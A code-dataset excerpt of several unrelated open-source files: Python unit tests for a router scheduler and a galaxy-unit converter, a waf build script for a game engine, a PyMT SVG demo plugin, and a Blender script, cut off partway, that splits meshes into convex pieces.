\"\"\"\n\t","sub_path":"core/doctype/print_format/print_format.py","file_name":"print_format.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"443695307","text":"# Copyright 2014 DreamHost, LLC\n#\n# Author: DreamHost, LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nimport mock\nimport uuid\n\nimport unittest2 as unittest\n\nfrom akanda.rug import scheduler\n\n\nclass TestScheduler(unittest.TestCase):\n\n def test_invalid_num_workers(self):\n try:\n scheduler.Scheduler(0, lambda x: x)\n except ValueError:\n pass\n else:\n self.fail('Should have raised ValueError')\n\n @mock.patch('multiprocessing.Process')\n def test_creating_workers(self, process):\n s = scheduler.Scheduler(2, mock.Mock)\n self.assertEqual(2, len(s.workers))\n\n @mock.patch('multiprocessing.Process')\n @mock.patch('multiprocessing.JoinableQueue')\n def test_stop(self, process, queue):\n s = scheduler.Scheduler(2, mock.Mock)\n s.stop()\n for w in s.workers:\n self.assertEqual(\n w['queue'].put.call_args_list,\n [mock.call(None), mock.call(None)] # one put for each worker\n )\n self.assertEqual(w['queue'].close.call_count, 2)\n self.assertEqual(w['worker'].join.call_count, 2)\n\n\nclass TestDispatcher(unittest.TestCase):\n\n def setUp(self):\n super(TestDispatcher, self).setUp()\n self.workers = range(5)\n self.d = scheduler.Dispatcher(self.workers)\n\n def _mk_uuid(self, i):\n # Creates a well-known UUID\n return str(uuid.UUID(fields=(1, 2, 3, 4, 5, i)))\n\n def test_pick(self):\n for i in range(len(self.workers)):\n router_id = self._mk_uuid(i)\n self.assertEqual(\n [i],\n self.d.pick_workers(router_id),\n 'Incorrect index for %s' % router_id,\n )\n\n def test_pick_none(self):\n router_id = None\n self.assertEqual(\n [],\n self.d.pick_workers(router_id),\n 'Found a router for None',\n )\n\n def test_pick_with_spaces(self):\n for i in range(len(self.workers)):\n router_id = ' %s ' % self._mk_uuid(i)\n self.assertEqual(\n [i],\n self.d.pick_workers(router_id),\n 'Incorrect index for %s' % router_id,\n )\n\n def test_pick_invalid(self):\n for i in range(len(self.workers)):\n router_id = self._mk_uuid(i) + 'Z'\n self.assertEqual(\n [],\n self.d.pick_workers(router_id),\n 'Found unexpected worker for %r' % router_id,\n )\n\n def test_wildcard(self):\n self.assertEqual(\n self.workers,\n self.d.pick_workers('*'),\n 'wildcard dispatch failed',\n )\n\n def test_error(self):\n self.assertEqual(\n self.workers,\n self.d.pick_workers('error'),\n 'error dispatch failed',\n )\n","sub_path":"akanda/rug/test/unit/test_scheduler.py","file_name":"test_scheduler.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"56419255","text":"#! /usr/bin/env python\nimport os, re\nfrom waf_dynamo import copy_file_task, apidoc_extract_task\nimport Options\n\ndef set_options(opt):\n pass\n\ndef build(bld):\n obj = bld.new_task_gen(features = 'cxx cstaticlib embed',\n includes = '. ..',\n source = 'engine_service.cpp',\n target = 'engine_service',\n embed_source = '../content/profiler.html')\n\n obj = bld.new_task_gen(features = 'cxx cstaticlib',\n includes = '. ..',\n source = 'engine_service_null.cpp',\n target = 'engine_service_null')\n\n obj = bld.new_task_gen(features = 'cxx cstaticlib ddf embed',\n includes = '../proto . ..',\n target = 'engine',\n proto_gen_py = True,\n protoc_includes = ['../proto', bld.env['PREFIX'] + '/share'],\n embed_source='../content/materials/debug.vpc ../content/materials/debug.fpc ../content/builtins/connect/connect.project ../content/builtins.arci ../content/builtins.arcd ../content/builtins.dmanifest',\n source='engine.cpp engine_main.cpp physics_debug_render.cpp ../proto/engine_ddf.proto',\n uselib_local = 'engine_service')\n\n obj = bld.new_task_gen(features = 'cxx cstaticlib ddf embed',\n includes = '../proto . ..',\n target = 'engine_release',\n defines = 'DM_RELEASE=1',\n proto_gen_py = True,\n protoc_includes = ['../proto', bld.env['PREFIX'] + '/share'],\n embed_source='../content/materials/debug.vpc ../content/materials/debug.fpc ../content/builtins_release.arci ../content/builtins_release.arcd ../content/builtins_release.dmanifest', # for draw_line/draw_text\n source='engine.cpp engine_main.cpp ../proto/engine_ddf.proto',\n uselib_local = 'engine_service_null')\n\n bld.install_files('${PREFIX}/include/engine', 'engine.h')\n bld.install_files('${PREFIX}/share/proto', '../proto/engine_ddf.proto')\n\n additional_libs = ['CRASH']\n exported_symbols = ['DefaultSoundDevice', 'NullSoundDevice', 'AudioDecoderWav', 'CrashExt', 'ProfilerExt']\n\n # Add stb_vorbis and/or tremolo depending on platform\n if 'web' in bld.env['PLATFORM'] or 'win32' in bld.env['PLATFORM']:\n exported_symbols.append('AudioDecoderStbVorbis')\n else:\n exported_symbols.append('AudioDecoderStbVorbis')\n exported_symbols.append('AudioDecoderTremolo')\n additional_libs.append('TREMOLO')\n\n if 'win32' in bld.env['PLATFORM']:\n exported_symbols.append('FacebookExt')\n exported_symbols.append('IAPExt')\n\n # Set graphics library to use (at some point both GL/VK should be used)\n graphics_lib = 'GRAPHICS'\n if Options.options.with_vulkan:\n graphics_lib = 'GRAPHICS_VULKAN'\n\n mobile_service_symbols = ['IACExt', 'IAPExt', 'PushExt', 'WebViewExt']\n if bld.env['PLATFORM'] in ('armv7-darwin', 'arm64-darwin', 'x86_64-ios'):\n exported_symbols.extend(mobile_service_symbols)\n exported_symbols.append('FacebookExt')\n\n if 'x86_64-darwin' == bld.env['PLATFORM']:\n additional_libs.append('UNWIND')\n\n if 'android' in bld.env['PLATFORM']:\n sound_lib = 'SOUND OPENAL_SOFT OPENSLES'\n exported_symbols.extend(mobile_service_symbols)\n exported_symbols.append('FacebookExt')\n additional_libs.append('UNWIND')\n additional_libs.append('CPP_RUNTIME')\n elif 'web' in bld.env['PLATFORM']:\n sound_lib = 'SOUND OPENAL'\n exported_symbols.append('FacebookExt')\n exported_symbols.append('IAPExt')\n else:\n sound_lib = 'SOUND OPENAL'\n\n additional_libs = ' '.join(additional_libs)\n\n dynamo_home = os.getenv('DYNAMO_HOME')\n\n android_jar_paths = [\n '%s/ext/share/java/android-support-multidex.jar' % (dynamo_home),\n '%s/share/java/glfw_android.jar' % (dynamo_home),\n '%s/share/java/gamesys_android.jar' % (dynamo_home),\n '%s/share/java/sound_android.jar' % (dynamo_home)]\n\n web_libs = ['library_glfw.js', 'library_sys.js', 'library_script.js', 'library_sound.js']\n\n obj = bld.new_task_gen(\n features = 'cc cxx cprogram apk web extract_symbols',\n uselib = 'WEBVIEWEXT PROFILEREXT FACEBOOKEXT IAPEXT PUSHEXT IACEXT RECORD VPX GAMEOBJECT DDF RESOURCE GAMESYS %s GRAPHICS_UTIL PHYSICS RENDER PLATFORM_SOCKET SCRIPT LUA EXTENSION HID INPUT PARTICLE RIG DLIB DMGLFW GUI CRASH LIVEUPDATE CARES %s X %s' % (graphics_lib, sound_lib, additional_libs),\n uselib_local = 'engine engine_service',\n web_libs = web_libs,\n exported_symbols = exported_symbols,\n includes = '../build ../proto . ..',\n #NOTE: _XBOX to get static lib and avoid dllimport/dllexport stuff\n defines = '_XBOX',\n proto_gen_py = True,\n protoc_includes = '../proto',\n target = 'dmengine',\n bundleid = 'com.defold.engine',\n source=['main.cpp'],\n proguard = ['../content/builtins/manifests/android/dmengine.pro'],\n jars = android_jar_paths)\n\n if 'win32' in bld.env.BUILD_PLATFORM:\n obj.source.append('engine.rc') # Needs to bundle with icons, or IconExe.java won't be able to replace them (it cannot add them)\n obj.env.append_value('LINKFLAGS', ['Psapi.lib'])\n\n if 'win32' in bld.env['PLATFORM']:\n bld.install_files('${PREFIX}/lib/%s' % bld.env['PLATFORM'], 'defold.ico')\n bld.install_files('${PREFIX}/lib/%s' % bld.env['PLATFORM'], 'engine.rc')\n\n if 'android' in bld.env['PLATFORM']:\n bld.install_files('${PREFIX}/share/java', 'dmengine.android/classes.dex')\n bld.install_files('${PREFIX}/bin/${PLATFORM}', 'dmengine.android/dmengine.apk')\n\n obj = bld.new_task_gen(\n features = 'cc cxx cprogram apk web extract_symbols',\n uselib = 'WEBVIEWEXT PROFILEREXT_NULL FACEBOOKEXT IAPEXT PUSHEXT IACEXT RECORD VPX GAMEOBJECT DDF RESOURCE GAMESYS %s GRAPHICS_UTIL PHYSICS RENDER PLATFORM_SOCKET SCRIPT LUA EXTENSION HID INPUT PARTICLE RIG DLIB DMGLFW GUI CRASH LIVEUPDATE CARES %s X %s' % (graphics_lib, sound_lib, additional_libs),\n uselib_local = 'engine_release engine_service_null',\n web_libs = web_libs,\n exported_symbols = exported_symbols,\n includes = '../build ../proto . ..',\n #NOTE: _XBOX to get static lib and avoid dllimport/dllexport stuff\n defines = '_XBOX DM_RELEASE=1',\n proto_gen_py = True,\n protoc_includes = '../proto',\n target = 'dmengine_release',\n source=['main.cpp'],\n jars = android_jar_paths)\n\n if 'win32' in bld.env.BUILD_PLATFORM:\n obj.source.append('engine.rc')\n obj.env.append_value('LINKFLAGS', ['/SUBSYSTEM:WINDOWS', '/ENTRY:mainCRTStartup', 'Psapi.lib'])\n\n # We need to link with GLFW on Android for the headless version of the engine.\n # Android expects a slighly different life cycle handling, currently handled\n # in the GLFW module.\n additional_libs = []\n if 'android' in bld.env['PLATFORM']:\n additional_libs += ['DMGLFW','UNWIND']\n\n if 'x86_64-darwin' == bld.env['PLATFORM']:\n additional_libs = ['UNWIND']\n\n additional_libs = ' '.join(additional_libs)\n\n obj = bld.new_task_gen(\n features = 'cc cxx cprogram apk web extract_symbols',\n uselib = 'RECORD_NULL GAMEOBJECT PROFILEREXT DDF RESOURCE GAMESYS GRAPHICS_NULL GRAPHICS_UTIL PHYSICS RENDER PLATFORM_SOCKET SCRIPT LUA EXTENSION HID_NULL INPUT PARTICLE RIG GUI CRASH DLIB LIVEUPDATE SOUND_NULL CRASH CARES %s' % (additional_libs,),\n exported_symbols = ['ProfilerExt'],\n uselib_local = 'engine engine_service',\n web_libs = web_libs,\n includes = '../build ../proto . ..',\n proto_gen_py = True,\n protoc_includes = '../proto',\n target = 'dmengine_headless',\n source=['main.cpp'])\n\n if 'win32' in bld.env.BUILD_PLATFORM:\n obj.source.append('engine.rc')\n obj.env.append_value('LINKFLAGS', ['Psapi.lib'])\n\n apidoc_extract_task(bld, ['../proto/engine_ddf.proto', 'engine_doc.h'])\n\n if 'win32' in bld.env.PLATFORM:\n src_dir = \"%s/ext/lib/%s\" % (bld.env.PREFIX, bld.env.PLATFORM)\n install_path = bld.get_install_path(\"${PREFIX}/bin/${PLATFORM}\")\n task = copy_file_task(bld, \"%s/OpenAL32.dll\" % src_dir)\n task.install_path = install_path\n task = copy_file_task(bld, \"%s/wrap_oal.dll\" % src_dir)\n task.install_path = install_path\n\n if not Options.options.skip_build_tests:\n bld.add_subdirs('test')\n\ndef configure(conf):\n pass\n","sub_path":"engine/engine/src/wscript","file_name":"wscript","file_ext":"","file_size_in_byte":8837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"223496212","text":"#!/usr/bin/python\n#@author : Sriram Rajan\n\nimport unittest\nfrom Galaxy_Converter import Parser, Symbols\n\n\nclass TestConversion(unittest.TestCase):\n\n def test_conversions(self):\n sut = Parser()\n input=['pish is I\\n',\\\n 'posh is V\\n',\\\n 'tosh is X\\n',\\\n 'tosh Gold is 50 credits\\n',\\\n 'how much is tosh tosh posh pish pish ?\\n',\\\n 'how many credits is 1 Gold ? \\n']\n smb = Symbols()\n\n self.assertEqual(sut.lexical_parser(input, smb),\\\n ['tosh tosh posh pish pish is 27', \\\n '1 Gold is 5 credits'])\n \n def test_invalid_unit(self):\n sut = Parser()\n input=['pish is I\\n',\\\n 'posh is V\\n',\\\n 'tosh is X\\n',\\\n 'tosh Gold is 50 credits\\n',\\\n 'how many wood is 1 Gold ? \\n']\n smb = Symbols()\n\n self.assertEqual(sut.lexical_parser(input, smb)[0],\\\n 'Gold is specified in credits not in wood')\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"Merchant_Galaxy/Converter_unittest.py","file_name":"Converter_unittest.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"300814247","text":"# -*- coding: utf-8 -*-\nfrom pymt import *\nimport os\nfrom os.path import join\n\n# PYMT Plugin integration\nIS_PYMT_PLUGIN = True\nPLUGIN_TITLE = 'SVG Viewer'\nPLUGIN_AUTHOR = 'Nathanaël Lécaudé'\nPLUGIN_DESCRIPTION = 'This is an example of Scalable Vector Graphics using the Squirtle library for pyglet.'\n\ncurrent_dir = os.path.dirname(__file__)\n\ndef pymt_plugin_activate(w, ctx):\n sun = MTScatterSvg(filename=join(current_dir, 'sun.svg'), pos=(200,200))\n cloud = MTScatterSvg(filename=join(current_dir, 'cloud.svg'), pos=(50,100))\n ship = MTScatterSvg(filename=join(current_dir, 'ship.svg'), pos=(280,100))\n ctx.c = MTKinetic()\n ctx.c.add_widget(sun)\n ctx.c.add_widget(cloud)\n ctx.c.add_widget(ship)\n w.add_widget(ctx.c)\n\ndef pymt_plugin_deactivate(w, ctx):\n w.remove_widget(ctx.c)\n\nif __name__ == '__main__':\n w = MTWindow()\n ctx = MTContext()\n pymt_plugin_activate(w, ctx)\n runTouchApp()\n pymt_plugin_deactivate(w, ctx)\n","sub_path":"test/src/examples/old_examples/svg/svg.py","file_name":"svg.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"80876456","text":"##\n# A script to split simple, architectural geometry into convex pieces.\n#\n# This script makes use of Blender's built-in \"Split Concave Faces\" clean-up\n# algorithm to break-up the faces of an object into convex pieces. The script\n# attempts to identify all the edges that represent convex boundaries, and then\n# it splits objects up along those edges. Each resulting piece is then made into\n# a closed object by converting it into a convex hull.\n#\n# Be sure to select the object you wish the split into convex pieces before\n# running the script.\n#\n# NOTE: This script is expecting to work with flat, reasonably clean geometry.\n# For example, it is expected to be used when generating collision on the\n# ceiling and walls of an architectural visualization project, but is not\n# expected to perform well with round or n-gon geometry. Using \n# create_closed_objects=True and matchup_degenerates=True, in particular, does\n# not work well with objects that have openings inside.\n#\n# If this script doesn't work for you, a plug-in like V-HACD may work better.\n# This script was written to handle cases V-HACD did not handle well -- flat,\n# reasonably rectangular arch. vis. geometry.\n#\n# @author Guy Elsmore-Paddock \n#\n\nimport bmesh\nimport bpy\nfrom bpy.types import Operator\nimport re\n\nfrom itertools import combinations, count\nfrom math import atan2, pi, radians, degrees\nfrom mathutils import Vector\n\n\ndef split_into_convex_pieces(ob, create_closed_objects=True,\n matchup_degenerates=True):\n object_name = ob.name\n\n deselect_all_objects()\n make_all_faces_convex(ob)\n\n eliminated_piece_names = \\\n split_on_convex_boundaries(\n ob,\n create_closed_objects,\n matchup_degenerates\n )\n\n rename_pieces(object_name, eliminated_piece_names)\n\n # Deselect everything, for the convenience of the user.\n deselect_all_objects()\n\n\ndef make_all_faces_convex(ob):\n bpy.context.view_layer.objects.active = ob\n bpy.ops.object.mode_set(mode='EDIT')\n\n # This is what actually defines the new geometry -- Blender creates the\n # convex shapes we need to split by.\n bpy.ops.mesh.select_all(action='SELECT')\n bpy.ops.mesh.vert_connect_concave()\n bpy.ops.mesh.select_all(action='DESELECT')\n\n\n##\n# Splits an object into smaller pieces by its convex, planar edges.\n#\n# In an ideal world, we could just split the object by all the edges that are\n# attached to -- and are co-planar with -- the faces of the object, since those\n# edges are most likely to represent the convex boundaries of the object. But,\n# Blender does not provide an easy way to find such edges.\n#\n# Instead, we use several heuristics to simulate this type of selection:\n# 1. First, we select all the sharp edges of the object, since sharp edges are\n# only co-planar with one of the faces they connect with and are therefore\n# unlikely to represent convex boundary edges.\n# 2. Second, we select all edges that are similar in angle to the sharp edges,\n# to catch any edges that are almost steep enough to be sharp edges.\n# 3. Third, we invert the selection, which should (hopefully) cause all the\n# convex boundary edges we want to be selected.\n# 4. Fourth, we seek out any sharp edges that connect with the convex boundary\n# edges, since we will need to split on these edges as well so that our\n# \"cuts\" go all the way around the object (e.g. if the convex boundary\n# edges lay on the top and bottom faces of an object, we need to select\n# sharp edges to connect the top and bottom edges on the left and right\n# sides so that each split piece is a complete shape instead of just\n# disconnected, detached planes).\n# 4. Next, we split the object by all selected edges, which should result in\n# creation of each convex piece we seek.\n#\ndef split_on_convex_boundaries(ob, create_closed_objects=True,\n matchup_degenerates=True):\n bpy.ops.object.mode_set(mode='EDIT')\n\n select_convex_boundary_edges(ob)\n\n # Now perform an vertex + edge split along each selected edge, which should\n # result in the object being broken-up along each planar edge and connected\n # sharp edges (e.g. on corners).\n bpy.ops.mesh.edge_split(type='VERT')\n\n # Now, just break each loose part off into a separate object.\n bpy.ops.mesh.select_all(action='SELECT')\n bpy.ops.mesh.separate(type='LOOSE')\n\n if create_closed_objects:\n # And then make each piece fully enclosed.\n return create_closed_shapes_from_pieces(ob, matchup_degenerates)\n else:\n return []\n\n\n##\n# Selects all edges that denote the boundaries of convex pieces.\n#\n# This is a multi-step process driven by heuristics:\n# 1. First, we select all the sharp edges of the object, since sharp edges are\n# only co-planar with one of the faces they connect with and are therefore\n# unlikely to represent convex boundary edges.\n# 2. Second, we select all edges that are similar in length to the sharp\n# edges, to catch any edges that are almost steep enough to be sharp edges.\n# 3. Third, we invert the selection, which should (hopefully) cause all the\n# convex boundary edges we want to be selected.\n#\ndef select_convex_boundary_edges(ob, max_edge_length_proportion=0.1):\n bpy.ops.object.mode_set(mode='EDIT')\n\n mesh = ob.data\n bm = bmesh.from_edit_mesh(mesh)\n\n # Enter \"Edge\" select mode\n bpy.context.tool_settings.mesh_select_mode = [False, True, False]\n\n # Find all sharp edges and edges of similar length\n bpy.ops.mesh.select_all(action='DESELECT')\n bpy.ops.mesh.edges_select_sharp()\n bpy.ops.mesh.select_similar(type='LENGTH', threshold=0.01)\n\n # Invert the selection to find the convex boundary edges.\n bpy.ops.mesh.select_all(action='INVERT')\n\n bm.faces.ensure_lookup_table()\n bm.edges.ensure_lookup_table()\n\n edges_to_select = []\n max_edge_length = max(ob.dimensions) * max_edge_length_proportion\n\n for selected_edge in [e for e in bm.edges if e.select]:\n edge_bridges =\\\n find_shortest_edge_bridges(\n selected_edge,\n max_edge_length=max_edge_length\n )\n\n for path in edge_bridges.values():\n for edge in path:\n edges_to_select.append(edge)\n\n # Select the edges after we pick which edges we *want* to select, to ensure\n # that we only base our decisions on the initial convex boundary edges.\n for edge in edges_to_select:\n edge.select = True\n\n\n##\n# Locate the shortest path of edges to connect already-selected edges.\n#\n# This is used to find the additional edges that must be selected for a cut\n# along a convex boundary to create a complete, closed object shape.\n#\n# The max edge length argument can be provided to avoid trying to find\n# connections between convex boundaries that are very far apart in the same\n# object.\n#\ndef find_shortest_edge_bridges(starting_edge, max_edge_length=None):\n edge_bridges = find_bridge_edges(starting_edge, max_edge_length)\n sorted_edge_bridges = sorted(edge_bridges, key=lambda eb: eb[0])\n edge_solutions = {}\n\n for edge_bridge in sorted_edge_bridges:\n path_distance, final_edge, path = edge_bridge\n\n # Skip edges we've already found a min-length path to\n if final_edge not in edge_solutions.keys():\n edge_solutions[final_edge] = path\n\n print(f\"Shortest edge bridges for starting edge '{str(starting_edge.index)}':\")\n\n if len(edge_solutions) > 0:\n print(\n \" - \" +\n \"\\n - \".join(map(\n lambda i: str(\n (i[0].index, str(list(map(lambda e: e.index, i[1]))))\n ),\n edge_solutions.items()\n )))\n print(\"\")\n print(\"\")\n\n return edge_solutions\n\n\n##\n# Performs a recursive, depth-first search from a selected edge to other edges.\n#\n# This returns all possible paths -- and distances of those paths -- to traverse\n# the mesh from the starting, selected edge to another selected edge. To avoid\n# a lengthy search, the max_depth parameter controls how many levels of edges\n# are searched.\n#\n# The result is an array of tuples, where each tuple contains the total distance\n# of the path, the already-selected edge that the path was able to reach, and\n# the list of edges that would need to be selected in order to reach that\n# destination edge.\n#\ndef find_bridge_edges(edge, max_edge_length=None, max_depth=3, current_depth=0,\n path_distance=0, edge_path=None, seen_verts=None):\n if edge_path is None:\n edge_path = []\n\n if seen_verts is None:\n seen_verts = []\n\n # Don't bother searching edges we've seen\n if edge in edge_path:\n return []\n\n if (current_depth > 0):\n first_edge = edge_path[0]\n edge_length = edge.calc_length()\n\n # Don't bother searching edges along the same normal as the first edge.\n # We want our cuts to be along convex boundaries that are perpendicular.\n if have_common_face(first_edge, edge):\n return []\n\n if edge.select:\n return [(path_distance, edge, edge_path)]\n\n # Disqualify edges that are too long.\n if max_edge_length is not None and edge_length > max_edge_length:\n print(\n f\"Disqualifying edge {edge.index} because length [{edge_length}] > [{max_edge_length}\"\n )\n\n return []\n\n if current_depth == max_depth:\n return []\n\n new_edge_path = edge_path + [edge]\n bridges = []\n\n for edge_vert in edge.verts:\n # Don't bother searching vertices we've already seen (no backtracking).\n if edge_vert in seen_verts:\n continue\n\n new_seen_verts = seen_verts + [edge_vert]\n\n for linked_edge in edge_vert.link_edges:\n # Don't bother searching selected edges connected to the starting\n # edge, since that gets us nowhere.\n if linked_edge.select and current_depth == 0:\n continue\n\n edge_length = linked_edge.calc_length()\n\n found_bridge_edges = find_bridge_edges(\n edge=linked_edge,\n max_edge_length=max_edge_length,\n max_depth=max_depth,\n current_depth=current_depth + 1,\n path_distance=path_distance + edge_length,\n edge_path=new_edge_path,\n seen_verts=new_seen_verts\n )\n\n bridges.extend(found_bridge_edges)\n\n return bridges\n\n\ndef create_closed_shapes_from_pieces(ob, matchup_degenerates=True,\n min_volume=0.1):\n print(\"Converting each piece into a closed object...\")\n\n degenerate_piece_names = []\n\n for piece in name_duplicates_of(ob):\n if not make_piece_convex(piece):\n degenerate_piece_names.append(piece.name)\n\n degenerate_count = len(degenerate_piece_names)\n\n print(\"\")\n print(f\"Total degenerate (flat) pieces: {degenerate_count}\")\n print(\"\")\n\n eliminated_piece_names = []\n\n if matchup_degenerates:\n if degenerate_count > 10:\n # TODO: Hopefully, some day, find a good deterministic way to\n # automatically match up any number of degenerate pieces using a\n # heuristic that generates sane geometry.\n print(\n \"There are too many degenerates for reliable auto-matching, so \"\n \"it will not be performed. You will need to manually combine \"\n \"degenerate pieces.\")\n print(\"\")\n else:\n eliminated_piece_names.extend(\n matchup_degenerate_pieces(degenerate_piece_names, min_volume)\n )\n\n eliminated_piece_names.extend(\n eliminate_tiny_pieces(degenerate_piece_names, min_volume)\n )\n\n return eliminated_piece_names\n\n\ndef matchup_degenerate_pieces(degenerate_piece_names, min_volume=0.1):\n pieces_eliminated = []\n degenerate_volumes = find_degenerate_combos(degenerate_piece_names)\n\n print(\"Searching for a way to match-up degenerates into volumes...\")\n\n for piece1_name, piece1_volumes in degenerate_volumes.items():\n # Skip pieces already joined with degenerate pieces we've processed\n if piece1_name not in degenerate_piece_names:\n continue\n\n piece1 = bpy.data.objects[piece1_name]\n\n piece1_volumes_asc = dict(\n sorted(\n piece1_volumes.items(),\n key=operator.itemgetter(1)\n )\n )\n\n piece2 = None\n\n for piece2_name, combo_volume in piece1_volumes_asc.items():\n # Skip pieces that would make a volume that's too small, or that\n # have been joined with degenerate pieces we've processed\n if combo_volume < min_volume or piece2_name not in degenerate_piece_names:\n continue\n else:\n piece2 = bpy.data.objects[piece2_name]\n break\n\n if piece2 is not None:\n degenerate_piece_names.remove(piece2.name)\n pieces_eliminated.append(piece2.name)\n\n print(\n f\" - Combining parallel degenerate '{piece1.name}' with \"\n f\"'{piece2.name}' to form complete mesh '{piece1.name}'.\"\n )\n\n bpy.ops.object.mode_set(mode='OBJECT')\n bpy.ops.object.select_all(action='DESELECT')\n\n bpy.context.view_layer.objects.active = piece1\n\n piece1.select_set(True)\n piece2.select_set(True)\n\n bpy.ops.object.join()\n\n make_piece_convex(piece1)\n\n return pieces_eliminated\n\n\ndef find_degenerate_combos(degenerate_piece_names):\n volumes = {}\n\n for piece_combo in combinations(degenerate_piece_names, 2):\n piece1_name, piece2_name = piece_combo\n piece1 = bpy.data.objects[piece1_name]\n piece2 = bpy.data.objects[piece2_name]\n\n if not volumes.get(piece1_name):\n volumes[piece1_name] = {}\n\n piece1_mesh = piece1.data\n piece1_bm = bmesh.new()\n piece1_bm.from_mesh(piece1_mesh)\n\n piece2_mesh = piece2.data\n piece2_bm = bmesh.new()\n piece2_bm.from_mesh(piece2_mesh)\n\n piece1_bm.faces.ensure_lookup_table()\n piece2_bm.faces.ensure_lookup_table()\n\n if (len(piece1_bm.faces) == 0) or (len(piece2_bm.faces) == 0):\n continue\n\n piece1_face = piece1_bm.faces[0]\n piece2_face = piece2_bm.faces[0]\n\n combo_angle_radians = piece1_face.normal.angle(piece2_face.normal)\n combo_angle_degrees = int(round(degrees(combo_angle_radians)))\n\n # We only combine faces that are parallel to each other\n if combo_angle_degrees in [0, 180]:\n combo_volume = convex_volume(piece1, piece2)\n\n volumes[piece1.name][piece2.name] = combo_volume\n\n return volumes\n\n\ndef eliminate_tiny_pieces(degenerate_piece_names, min_volume=0.1):\n eliminated_piece_names = []\n\n tiny_piece_names = [\n n for n in degenerate_piece_names\n if n not in eliminated_piece_names\n and convex_volume(bpy.data.objects.get(n)) < min_volume\n ]\n\n print(\"\")\n print(f\"Total remaining tiny pieces: {len(tiny_piece_names)}\")\n\n # Delete tiny pieces that are too small to be useful\n for tiny_piece_name in tiny_piece_names:\n print(f\" - Eliminating tiny piece '{tiny_piece_name}'...\")\n\n tiny_piece = bpy.data.objects[tiny_piece_name]\n\n bpy.data.objects.remove(tiny_piece, do_unlink=True)\n eliminated_piece_names.append(tiny_piece_name)\n\n print(\"\")\n\n return eliminated_piece_names\n\n\ndef make_piece_convex(ob, min_volume=0.1):\n print(\n f\" - Attempting to make '{ob.name}' into a closed, convex \"\n f\"shape.\"\n )\n\n volume_before = convex_volume(ob)\n\n make_convex_hull(ob)\n\n volume_after = convex_volume(ob)\n volume_delta = abs(volume_after - volume_before)\n\n # If the volume of the piece is very small when we tried making it convex,\n # then it's degenerate -- it's a plane or something flat that we need to\n # remove.\n is_degenerate = (volume_after < min_volume)\n\n print(f\" - Volume before: {volume_before}\")\n print(f\" - Volume after: {volume_after}\")\n print(f\" - Volume delta: {volume_delta}\")\n print(f\" - Is degenerate: {is_degenerate}\")\n\n return not is_degenerate\n\n\ndef make_convex_hull(ob):\n deselect_all_objects()\n\n bpy.context.view_layer.objects.active = ob\n ob.select_set(True)\n\n bpy.ops.object.mode_set(mode='EDIT')\n\n bpy.ops.mesh.select_all(action='SELECT')\n bpy.ops.mesh.convex_hull()\n\n mesh = ob.data\n bm = bmesh.from_edit_mesh(mesh)\n\n # Clean-up unnecessary edges\n bmesh.ops.dissolve_limit(\n bm,\n angle_limit=radians(5),\n verts=bm.verts,\n edges=bm.edges,\n )\n\n bpy.ops.object.mode_set(mode='OBJECT')\n bpy.ops.object.select_all(action='DESELECT')\n\n\ndef have_common_normal(e1, e2):\n e1_normals = map(lambda f: f.normal, e1.link_faces)\n e2_normals = map(lambda f: f.normal, e2.link_faces)\n\n common_normals = [n for n in e1_normals if n in e2_normals]\n\n return len(common_normals) > 0\n\n\ndef have_common_face(e1, e2):\n common_faces = [f for f in e1.link_faces if f in e2.link_faces]\n\n return len(common_faces) > 0\n\n\ndef convex_volume(*obs):\n meshes = []\n verts = []\n\n for ob in obs:\n mesh = ob.data\n bm = bmesh.new()\n\n bm.from_mesh(mesh)\n\n bm.verts.ensure_lookup_table()\n bm.edges.ensure_lookup_table()\n bm.faces.ensure_lookup_table()\n\n # Prevent early garbage collection.\n meshes.append(bm)\n\n geom = list(bm.verts) + list(bm.edges) + list(bm.faces)\n\n for g in geom:\n if hasattr(g, \"verts\"):\n verts.extend(v.co for v in g.verts)\n else:\n verts.append(g.co)\n\n return build_volume_from_verts(verts)\n\n\ndef build_volume_from_verts(verts):\n # Based on code from:\n # https://blender.stackexchange.com/questions/107357/how-to-find-if-geometry-linked-to-an-edge-is-coplanar\n origin = sum(verts, Vector((0, 0, 0))) / len(verts)\n bm = bmesh.new()\n\n for v in verts:\n bm.verts.new(v - origin)\n\n bmesh.ops.convex_hull(bm, input=bm.verts)\n\n return bm.calc_volume()\n\n\ndef deselect_all_objects():\n try:\n bpy.ops.object.mode_set(mode='OBJECT')\n bpy.ops.object.select_all(action='DESELECT')\n except:\n pass\n\n\ndef rename_pieces(object_name, name_skiplist=None):\n if name_skiplist is None:\n name_skiplist = []\n\n for duplicate_name, old_index_str, new_index in dupe_name_sequence(object_name, name_skiplist):\n piece = bpy.data.objects.get(duplicate_name)\n\n if not piece:\n break\n\n old_name = piece.name\n new_name = re.sub(fr\"(?:01)?\\.{old_index_str}$\", f\"{new_index:02d}\", piece.name)\n\n if old_name != new_name:\n print(f\"Renaming piece '{old_name}' to '{new_name}'.\")\n piece.name = new_name\n\n\ndef name_duplicates_of(ob):\n duplicates = []\n\n for duplicate_name, _, _ in dupe_name_sequence(ob.name):\n piece = bpy.data.objects.get(duplicate_name)\n\n if not piece:\n break\n else:\n duplicates.append(piece)\n\n return duplicates\n\n\ndef dupe_name_sequence(base_name, skiplist=None):\n if skiplist is None:\n skiplist = []\n\n yield base_name, \"\", 1\n\n new_index = 1\n\n for old_name_index in count(start=1):\n old_index_str = f\"{old_name_index:03d}\"\n duplicate_name = f\"{base_name}.{old_index_str}\"\n\n if duplicate_name in skiplist:\n 